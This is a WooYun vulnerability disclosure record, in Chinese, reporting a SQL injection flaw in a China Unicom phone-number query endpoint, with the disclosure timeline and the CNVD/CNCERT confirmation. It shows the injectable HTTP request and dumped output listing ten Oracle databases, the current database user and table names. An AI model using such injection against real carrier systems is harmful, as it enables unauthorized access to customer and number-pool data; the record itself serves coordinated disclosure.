当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141145

漏洞标题：中国联通SQL注入漏洞一枚（涉及10个数据库）

相关厂商：中国联通

漏洞作者： 路人甲

提交时间：2015-09-16 19:31

修复时间：2015-11-02 15:24

公开时间：2015-11-02 15:24

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-16： 细节已通知厂商并且等待厂商处理中
2015-09-18： 厂商已经确认，细节仅向厂商公开
2015-09-28： 细节向核心白帽子及相关领域专家公开
2015-10-08： 细节向普通白帽子公开
2015-10-18： 细节向实习白帽子公开
2015-11-02： 细节向公众公开

简要描述：

RT

详细说明：

存在注入URL：http://**.**.**.**/static/homepage/subjectpage/57400000163611.html
测试注入：

GET /mpdSubject/queryNumber?province=74&cityCode=741&searchType=02&groupKey=35155121&sortType=numAsc&searchValue=&Show4GNum=TRUE HTTP/1.1
Host: **.**.**.**
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36
Referer: http://**.**.**.**/static/homepage/subjectpage/57400000163611.html
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: gipgeo=11|110; Hm_lvt_9208c8c641bfb0560ce7884c36938d9d=1442218181; Hm_lpvt_9208c8c641bfb0560ce7884c36938d9d=1442218203; CaptchaCode=Vynkos9a35U24HjQhc3YNvS9UPCnqfUEJlnHBbOhsh8=; _n3fa_cid=430069161dab47d49710a1d4f2f3a2d1; _n3fa_ext=ft=1442218189; _n3fa_lvt_a9e72dfe4a54a20c3d6e671b3bad01d9=1442218189,1442218227; _n3fa_lpvt_a9e72dfe4a54a20c3d6e671b3bad01d9=1442218227; WT_FPC=id=22e11276b5d489b447e1442218179019:lv=1442218227381:ss=1442218179019; mallcity=74|741


12.png

漏洞证明：

数据库：

available databases [10]:
[*] APEX_030200
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] UCR_HAO_3G06
[*] UCR_SYSMANM
[*] XDB


用户：

current user:'UOP_HAO_3G06'


UCR_SYSMANM：

[14 tables]
+-------------------------+
| TD_M_PROVINCE           |
| TD_M_TRATECATE          |
| TD_R_CHOOSESNLIMIT      |
| TD_R_NICERULE           |
| TD_R_NICERULE_DEFINE    |
| TD_R_NICERULE_LIMIT     |
| TD_R_REMATCH_NICERULE   |
| TD_S_ROUTE_DB           |
| TE_R_3GNUM_IDLE         |
| TF_R_POOL               |
| TF_R_POOL_USER          |
| TF_R_PROVINCEFLAG       |
| TF_R_STOCK              |
| TI_R_NICERULE_LIMIT_INC |
+-------------------------+

修复方案：

新业务上线 也要注意

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-09-18 15:23

厂商回复：

CNVD确认所述情况,已经转由CNCERT向中国联通集团公司通报,由其后续协调网站管理单位处置.

最新状态：

暂无